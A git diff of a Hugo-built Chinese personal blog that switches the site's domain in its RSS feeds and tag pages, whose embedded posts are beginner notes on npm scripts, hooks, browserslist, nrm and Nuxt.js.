+&amp;quot;browserslist&amp;quot;: [ &#39;&amp;gt; 0.2%&#39;, &#39;last 1 Chrome versions&#39; &#39;not dead&#39; ] 或者写成
+&amp;quot;browserslist&amp;quot;: [ &#39;&amp;gt; 0.2% and last 1 Chrome versions and not dead&#39;, ] .browserslistrc
+&amp;gt; 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package.</description>
     </item>
     
     <item>
       <title>简单了解并且使用npm script</title>
-      <link>https://xiaochenabc123.github.io/posts/109/</link>
+      <link>https://chenjunlinabc.github.io/posts/109/</link>
       <pubDate>Mon, 20 Sep 2021 14:30:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/109/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/109/</guid>
       <description>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-&amp;quot;scripts&amp;quot;: {
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;
}
npm run dev // 等于执行node hallo.js
+&amp;quot;scripts&amp;quot;: { &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot; } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&amp;amp;&amp;amp;（依次运行），&amp;amp;（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-&amp;quot;scripts&amp;quot;: {
&amp;quot;predev&amp;quot;: &amp;quot;echo hallo&amp;quot;,
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;,
&amp;quot;postdev&amp;quot;: &amp;quot;echo yes&amp;quot;
}
相对于npm run predev &amp;amp;&amp;amp; npm run dev &amp;amp;&amp;amp; npm run postdev
+&amp;quot;scripts&amp;quot;: { &amp;quot;predev&amp;quot;: &amp;quot;echo hallo&amp;quot;, &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js&amp;quot;, &amp;quot;postdev&amp;quot;: &amp;quot;echo yes&amp;quot; } 相对于npm run predev &amp;amp;&amp;amp; npm run dev &amp;amp;&amp;amp; npm run postdev
 像install，uninstall，publish，test，start等等都有pre和post这两个钩子
 查看正在运行的脚本
 const NpmScript = process.env.npm_lifecycle_event console.log(NpmScript)
 可以缩写不用run，例如：npm dev
 npm script可以使用npm内部变量，例如：
-{
&amp;quot;name&amp;quot;: &amp;quot;root&amp;quot;, &amp;quot;scripts&amp;quot;: {
&amp;quot;dev&amp;quot;: &amp;quot;node hallo.js $npm_package_name&amp;quot;
}
}
获取npm内部变量name
+{ &amp;quot;name&amp;quot;: &amp;quot;root&amp;quot;, &amp;quot;scripts&amp;quot;: { &amp;quot;dev&amp;quot;: &amp;quot;node hallo.js $npm_package_name&amp;quot; } } 获取npm内部变量name
 console.log(process.env.npm_package_name)
 脚本错误抛出
-&amp;quot;scripts&amp;quot;: {
&amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot;
}
传递参数</description>
+&amp;quot;scripts&amp;quot;: { &amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot; } 传递参数</description>
     </item>
     
     <item>
       <title>node.js包管理工具npm的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/31/</link>
+      <link>https://chenjunlinabc.github.io/posts/31/</link>
       <pubDate>Wed, 16 Jun 2021 15:05:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/31/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/31/</guid>
       <description>npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install &amp;ndash;dependencies 只安装package.json里的dependencies的文件 npm install &amp;ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
diff --git a/tags/npm/page/1/index.html b/tags/npm/page/1/index.html
index 37e36c80..2de20c40 100644
--- a/tags/npm/page/1/index.html
+++ b/tags/npm/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/npm/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/npm/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/npm/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/npm/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/npm/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/npm/"></head></html>
\ No newline at end of file
diff --git a/tags/nrm/index.html b/tags/nrm/index.html
index 11e9472d..e4ea0796 100644
--- a/tags/nrm/index.html
+++ b/tags/nrm/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>nrm | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/nrm/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/nrm/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="nrm"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/nrm/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="nrm"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>nrm</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>nrm | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/nrm/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/nrm/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="nrm"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/nrm/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="nrm"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>nrm</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -35,7 +35,7 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://xiaochenabc123.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://chenjunlinabc.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/nrm/index.xml b/tags/nrm/index.xml
index 83ad5829..a5c25467 100644
--- a/tags/nrm/index.xml
+++ b/tags/nrm/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>nrm on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/nrm/</link>
+    <link>https://chenjunlinabc.github.io/tags/nrm/</link>
     <description>Recent content in nrm on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/nrm/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/nrm/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>NodeJS常用工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/105/</link>
+      <link>https://chenjunlinabc.github.io/posts/105/</link>
       <pubDate>Thu, 16 Sep 2021 21:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/105/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/105/</guid>
       <description>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
diff --git a/tags/nrm/page/1/index.html b/tags/nrm/page/1/index.html
index ba7e10d2..bafd248e 100644
--- a/tags/nrm/page/1/index.html
+++ b/tags/nrm/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/nrm/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/nrm/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/nrm/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/nrm/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/nrm/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/nrm/"></head></html>
\ No newline at end of file
diff --git a/tags/nuxt.js/index.html b/tags/nuxt.js/index.html
index 4103c894..a04f2ffc 100644
--- a/tags/nuxt.js/index.html
+++ b/tags/nuxt.js/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Nuxt.js | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/nuxt.js/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/nuxt.js/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Nuxt.js"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/nuxt.js/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Nuxt.js"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Nuxt.js</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Nuxt.js学习笔记</h2></header><div class=entry-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Nuxt.js | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/nuxt.js/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/nuxt.js/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" 